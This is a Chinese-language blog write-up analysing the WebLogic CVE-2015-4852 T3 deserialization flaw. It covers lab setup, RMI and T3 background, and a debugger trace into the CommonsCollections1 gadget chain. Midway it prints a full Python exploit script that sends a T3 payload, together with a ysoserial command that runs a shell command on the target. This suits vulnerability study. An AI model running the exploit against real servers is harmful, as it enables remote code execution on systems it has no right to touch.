前言
有时间打算分析weblogic历史漏洞,但是又要面试啥的,没空。又刚好最近面试会问weblogic反序列化。具体啥时候分析weblogic反序列化,可能会在护网后,或者我开学了再分析。期间可能我会分析一下fastjson的吧。环境我都打包到附件中
0x01、环境搭建
不想动手去下载的,可以去网盘这边,我已经打包好了
链接:https://pan.baidu.com/s/1bOo82tAIC0ia95Z0nKQp5w
提取码:1234
复制这段内容后打开百度网盘手机App,操作更方便哦
漏洞环境:https://github.com/QAX-A-Team/WeblogicEnvironment
jdk:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
weblogic:
链接:https://pan.baidu.com/s/1I3FUCkuD7lfwdEFo1Yg5hQ
提取码:ungx
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
然后在这里需要去将一些weblogic的依赖Jar包给导出来进行远程调试
docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/
cp -r middleware/ /root/WeblogicEnvironment-master/
也可以使用如下命令
docker cp 363:/root .
mkdir jar_lib
find ./ -name *.jar -exec cp {} jar_lib/ ;
这边就导出成功了
0x02、Weblogic远程调试
第一步
修改docker-compose.yml文件,开启8453端口
第二步
cd u01/app/oracle/Domains/ExampleSilentWTDomain/bin/
vi setDomainEnv.sh
添加两行代码
debugFlag="true"
export debugFlag
这个环境是默认就有了,所以这边只是讲一下
最后差不多就这样了,还有其他地方就参考网上文章,我就不一一讲解了
docker exec -it weblogic1036jdk7u21 /bin/bash //进入docker
地址为:http://192.168.92.130:7001/console/login/LoginForm.jsp
0x03、RMI通信
在了解RMI前还需要弄懂一些概念。
RMI(RemoteMethodInvocation,远程方法调用)是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。
Java本身对RMI规范的实现默认使用的是JRMP协议,也可以选择IIOP协议。而在Weblogic中对RMI规范的实现使用T3协议。
JRMP:JavaRemoteMessageProtocol,Java远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
RMI(Remote Method Invocation)即Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。顾名思义,远程方法调用:客户端比如说是在手机,然后服务端是在电脑;同时都有java环境,然后我要在手机端调用服务端那边的某个方法,这就是,远程方法调用;
使用RMI的时候,客户端对远程方法的调用就跟对同一个Java虚拟机(也就是本地)上的方法调用是一样的。一般调用和RMI调用有一点不同,虽然对客户端来说看起来像是本地的,但是客户端的stub会通过网络发出调用,所以会抛出异常;其中还是会涉及到Socket和串流的问题,一开始是本地调用,然后就代理(stub)会转成远程,中间的信息是如何从Java虚拟机发送到另外一台Java虚拟机要看客户端和服务端的辅助设施对象所用的协议而定;使用RMI的时候,需要选择协议:JRMP或IIOP协议;JRMP是RMI的原生的协议,也就是默认JRMP协议。而IIOP是为了CORBA而产生的~~~
远程方法调用,具体怎么实现呢?
远程服务器提供具体的类和方法,本地会通过某种方式获得远程类的一个代理,然后通过这个代理调用远程对象的方法,方法的参数是通过序列化与反序列化的方式传递的,所以,
1. 只要服务端的对象提供了一个方法,这个方法接收的是一个Object类型的参数
2. 且远程服务器的classpath中存在可利用pop链,那么我们就可以通过在客户端调用这个方法,并传递一个精心构造的对象的方式来攻击rmi服务。
某种方式获得远程对象的代理,那么具体是怎么的实现机制呢?RMI模式中除了有Client与Server,还借助了一个Registry(注册中心)。
其中Server与Registry可以在同一服务器上实现,也可以布置在不同服务器上,现在一个完整的RMI流程可以大概描述为:
- Registry先启动,并监听一个端口,一般为1099
- Server向Registry注册远程对象
- Client从Registry获得远程对象的代理(这个代理知道远程对象的在网络中的具体位置:ip、端口、标识符),然后Client通过这个代理调用远程方法,Server也是有一个代理的,Server端的代理会收到Client端的调用的方法、参数等,然后代理执行对应方法,并将结果通过网络返回给Client。
直接看图,话不多说
RMI调用远程方法的大致如下:
RMI客户端
在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
。Stub
会将Remote
对象传递给远程引用层(java.rmi.server.RemoteRef)
并创建java.rmi.server.RemoteCall(远程调用)
对象。RemoteCall
序列化RMI服务名称
、Remote
对象。RMI客户端
的远程引用层
传输RemoteCall
序列化后的请求信息通过Socket
连接的方式传输到RMI服务端
的远程引用层
。RMI服务端
的远程引用层(sun.rmi.server.UnicastServerRef)
收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
。Skeleton
调用RemoteCall
反序列化RMI客户端
传过来的序列化。Skeleton
处理客户端请求:bind
、list
、lookup
、rebind
、unbind
,如果是lookup
则查找RMI服务名
绑定的接口对象,序列化该对象并通过RemoteCall
传输到客户端。RMI客户端
反序列化服务端结果,获取远程对象的引用。
而更通俗点来说:
1. 客户端请求代理
2. Stub编码处理消息
3. 消息传输
4. 到达管家skeleton并处理信息
5. 管家skeleton把信息提交给server
6. server接收到请求
7. server把请求的结果给管家
8. 管家skeleton把结果转交给stub
9. 代理Stub对结果解码
10. Stub把解码的结果交给client。
具体可以参考该文章RMI由浅入深(一),那么我们知道了什么是RMI通信。RMI就是对服务器上的方法进行调用。那么weblogic上的RMI呢,在此处的cve-2015-4852
是基于RMI T3协议反序列化导致的漏洞。两者有什么区别吗?
两者其实是一样的。只是weblogic这边的rmi通信用T3协议,只是优化了java rmi。T3传输协议是WebLogic的自有协议,Weblogic RMI就是通过T3协议传输的(可以理解为序列化的数据载体是T3)。
Java RMI默认使用的专有传输协议(或者也可以叫做默认协议)是JRMP,Weblogic RMI默认使用的传输协议是T3。T3协议对序列化的过程,包括一些特性,心脏跳动等等,进行了一些列优化,并且对rmi客户端量进行了增加等等
0x04、从历史长河探究cve-2015-4852
摘取一张图,具体从哪里拿的,我也给忘记了,翻阅了太多文章了。可以看出这个cve-2015-4852是这些的祖宗。那我们从这个祖宗开始分析。从漏洞类型这边看,我们知道这个是T3反序列化漏洞,也就是说,是因为T3协议,从而导致的反序列化漏洞;那我们无可避免的去看看T3协议是什么东西
1、T3协议概述
WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。同时T3协议包括
- 请求包头
- 请求主体
因此,在T3数据包构造过程中,需要发送两部分的数据。
我们通过部署好的环境,以及现成的payload,去看看这个协议包情况
2、T3协议
t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001
可以看出这是它的请求头。,本文测试时发送的T3协议头为
t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001
第一行为“t3”加weblogic客户端的版本号。
weblogic服务器的返回数据为
HELO:10.3.6.0.false
AS:2048
HL:19
第一行为“HELO:”加weblogic服务器的版本号
weblogic客户端与服务器发送的数据均以“ ”结尾。
可能会问这个地方和其他地方的T3协议怎么不一样?因为我用的exp中,它是伪造自定义了请求包的。可参考文章。
也就是说,如何判断对方是否使用T3协议等等,可以对服务器进行发包,发送请求头,对方则会返回weblogic服务器版本
3、T3攻击方式
- 第一种:将weblogic发送的java序列化数据的地2到第7部分的反序列化数据进行替换
- 第二种:将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。也就是替换第一部分的数据
以上来自网上文献:http://drops.xmd5.com/static/drops/web-13470.html
那么我们就来验证一下,由于我此处是现成exp,所以进行替换序列化数据进行攻击的时候,可能数量不一样
也就是说,我们的发送的T3协议,可以简单的理解为两部分:非序列化数据,和序列化数据。而序列化部分又以ac ed继续进行划分
0x05、cve-2015-4852 分析
现在我们理论概念了解的差不多了,我们这边就验证一下序列化内容是否跟我们猜想的一致
python exp代码:
#!/usr/bin/python
import socket
import struct
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001
'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload='x00x00x09xe4x01x65x01xffxffxffxffxffxffxffxffx00x00x00x71x00x00xeax60x00x00x00x18x43x2exc6xa2xa6x39x85xb5xafx7dx63xe6x43x83xf4x2ax6dx92xc9xe9xafx0fx94x72x02x79x73x72x00x78x72x01x78x72x02x78x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x70x70x70x70x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x06xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x03x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x03x78x70x77x02x00x00x78xfex01x00x00'
payload=payload+payloadObj
payload=payload+'xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x21x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x65x65x72x49x6ex66x6fx58x54x74xf3x9bxc9x08xf1x02x00x07x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x5bx00x08x70x61x63x6bx61x67x65x73x74x00x27x5bx4cx77x65x62x6cx6fx67x69x63x2fx63x6fx6dx6dx6fx6ex2fx69x6ex74x65x72x6ex61x6cx2fx50x61x63x6bx61x67x65x49x6ex66x6fx3bx78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex56x65x72x73x69x6fx6ex49x6ex66x6fx97x22x45x51x64x52x46x3ex02x00x03x5bx00x08x70x61x63x6bx61x67x65x73x71x00x7ex00x03x4cx00x0ex72x65x6cx65x61x73x65x56x65x72x73x69x6fx6ex74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx5bx00x12x76x65x72x73x69x6fx6ex49x6ex66x6fx41x73x42x79x74x65x73x74x00x02x5bx42x78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x71x00x7ex00x05x4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x05x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x05x78x70x77x02x00x00x78xfex00xffxfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x46x21x00x00x00x00x00x00x00x00x00x09x31x32x37x2ex30x2ex31x2ex31x00x0bx75x73x2dx6cx2dx62x72x65x65x6ex73xa5x3cxafxf1x00x00x00x07x00x00x1bx59xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffx00x78xfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x1dx01x81x40x12x81x34xbfx42x76x00x09x31x32x37x2ex30x2ex31x2ex31xa5x3cxafxf1x00x00x00x00x00x78'
print 'sending payload...'
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
#print len(payload)
outf = open('pay.tmp','w')
outf.write(payload)
outf.close()
sock.send(payload)
yso生成恶意代码:
java -jar ysoserial.jar CommonsCollections1 "touch /file/22222.txt" > payload.tmp
python2 exp.py 192.168.92.130 7001 payload.tmp
根据补丁位置,是在这几个地方进行添加判断,那我们直接在InboundMsgAbbrev#readObject()
下断点。因为要rce的话必须要readObject()
进行反序列化
wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev
wlthint3client.jar:weblogic.rjvm.MsgAbbrevInputStream
weblogic.jar:weblogic.iiop.Utils
我们在InboundMsgAbbrev
类中,Ctrl+f查找readObject,然后在此处下断点。
然后使用exp去发送恶意请求,然后我们去看看断点位置
可以看出这边var1
里面存储的是我们请求的内容,然后调用read()
方法,赋值给var2
.
我们进入read()
看看是什么东西
这边为-1,所以会调用父类的read()方法,那么我们看看这个类继承了什么父类
所以我们知道它会跳到ChunkedDataInputStream#read()
方法中。我们F7跟进去查看
这边我们可以思考是不是这些序列化数据的大小呢?
因为是false,所以直接跳过这个条件,进入了return;
然后返回给了var2中
此处通过switch对var2
值进行判断,此处为0,所以进入了第一个条件语句
return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject();
那么我们先进入InboundMsgAbbrev#ServerChannelInputStream()
中查看虚实
进入后,继续深入getServerChannel()
this.connection
之中存储着一些连接的数据,如地址,端口等等,然后调用getChannel()
,这边是处理T3协议的socket地方;我们F7跟进查看
我们进入之后可以看到还有静态代码块,而这静态代码块则是服务器返回过来的版本,我们继续看看
随后会return 回这串地址,端口信息。我们再f8返回
我们跳了三层,返回到之前的路口点,那么接下来我们就是进入InboundMsgAbbrev#readObject()
中
此处我们跳到了read()
当中,因为前面的不重要,我们也不需要深究了
这边再次进入到父类中的read()
方法中,我们依旧进入到了ChunkedInputStream# read()
,该方法主要是读取head数据也就是我们发送的包
随后继续返回到了上一步
几次的F7和F8后,进入了read(byte[] var1, int var2, int var3)
中
因为条件不成立,所以继续进入return当中,我们F7跟进
往后执行,可以发现这几个方法是对数据流进行分块处理,将序列化部分分块,依次解析每块的类,然后去执行
我们直接在InboundMsgAbbrev#resolveClass()
方法下个断点,而此处,也就是打补丁的地方,此处打上补丁,从而出现了cve-2016-0638;这是后话。而我们看到了AnnotationInvocationHandler
。这不就是CC1中的反序列化入口点吗,我们进入看看
可以看到一个很有意思的地方,那就是Class.forname()
,通过反射获取加载指定的类。
而这之后执行,我们可以发现这些获取的都是CC1利用链中所需要的类。这就很有意思了~~
F9不断的执行结束后可以发现,这边创建了该文件。那么我们重新发包一下,直到遇到java.lang.Override
不按F9了。我们直接F7一步步慢慢的看
我们可以看到这不就是CC1链中的触发方法吗??这里就很佩服大佬们了
0x05 漏洞原理与总结
从入口点开始weblogic.rjvm.InboundMsgAbbrev#readObject
方法开始。通过read()
方法,读取T3数据流的序列化部分依次分块解析类。InboundMsgAbbrev#resolveClass()
内部使用Class.forName
来从类序列化获取到对应类的一个Class的对象。进行相对应的点实例化并读取了AnnotationInvocationHandler
触发了此处CC1的利用链。最后在AbstractMapDecorator#entrySet()
方法触发,达到了rce目的。此漏洞之后有必要再看看,咳咳